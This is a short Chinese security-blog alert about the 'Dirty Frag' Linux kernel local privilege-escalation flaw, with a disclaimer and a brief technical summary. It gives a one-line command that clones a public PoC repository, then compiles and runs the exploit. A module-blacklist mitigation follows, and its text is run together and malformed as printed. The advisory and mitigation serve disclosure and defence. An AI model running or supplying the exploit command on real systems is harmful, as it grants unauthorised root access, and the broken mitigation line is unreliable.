【漏洞预警】核弹级Linux 内核 Dirty Frag 权限提升漏洞 已复现 含Poc

免责声明：本公众号 太乙Sec实验室 所提供的实验环境均是本地搭建，仅限于网络安全研究与学习。旨在为安全爱好者提供技术交流。任何个人或组织因传播、利用本公众号所提供的信息而进行的操作，所导致的直接或间接后果及损失，均由使用者本人负责。太乙Sec实验室及作者对此不承担任何责任

Dirty Frag漏洞与Dirty Pipe（脏管道）、Copy Fail漏洞同属Linux内核page cache相关逻辑缺陷漏洞家族，均归属于基于page fragment复用与生命周期管理异常的权限提升漏洞范畴。该漏洞为典型的确定性逻辑漏洞，不存在时间竞争窗口依赖，无需利用竞态条件即可稳定触发；漏洞利用失败时不会导致内核崩溃，具备极高的本地提权成功率，可在目标环境中实现稳定可靠的权限逃逸。

一、漏洞基础信息

本次验证环境采用最新版 Kali Linux 系统

风险提示：禁止在线上环境进行验证

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

临时修复方式：

sudosh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf"sudo rmmod esp4 esp6 rxrpc 2>/dev/null ||true

往期精彩回顾